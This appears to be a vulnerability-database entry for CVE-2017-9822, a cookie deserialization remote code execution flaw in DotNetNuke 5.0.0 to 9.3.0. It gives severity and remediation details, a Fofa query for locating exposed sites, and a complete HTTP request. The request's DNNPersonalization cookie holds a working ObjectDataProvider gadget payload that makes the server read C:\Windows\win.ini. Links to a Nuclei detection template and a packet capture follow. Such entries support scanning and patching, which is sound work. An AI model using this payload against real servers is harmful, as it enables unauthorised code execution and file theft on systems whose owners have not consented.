| Title | DotNetNuke 5.0.0 - 9.3.0 - Cookie Deserialization Remote Code Execution |
|---|---|
| Author | milo2012 |
| Severity | High |
| Impact | Remote code execution through cookie deserialization |
| Remediation | Upgrade DotNetNuke to a version higher than 9.3.0 |
| CVSS Score | 8.8 |
| EPSS Score | 0.94293 |
| CVE ID | CVE-2017-9822 |
| CWE ID | CWE-20 |
| Fofa Query | app="dotnetnuke" |
| Tags | cve2017 cve packetstorm dotnetnuke bypass rce deserialization kev dnnsoftware vkev vuln |
DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected by a deserialization vulnerability that leads to remote code execution.
GET /__ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.1) Gecko/20100101 Firefox/65.1
Connection: close
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9822.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-9822.pcap
N/AN/A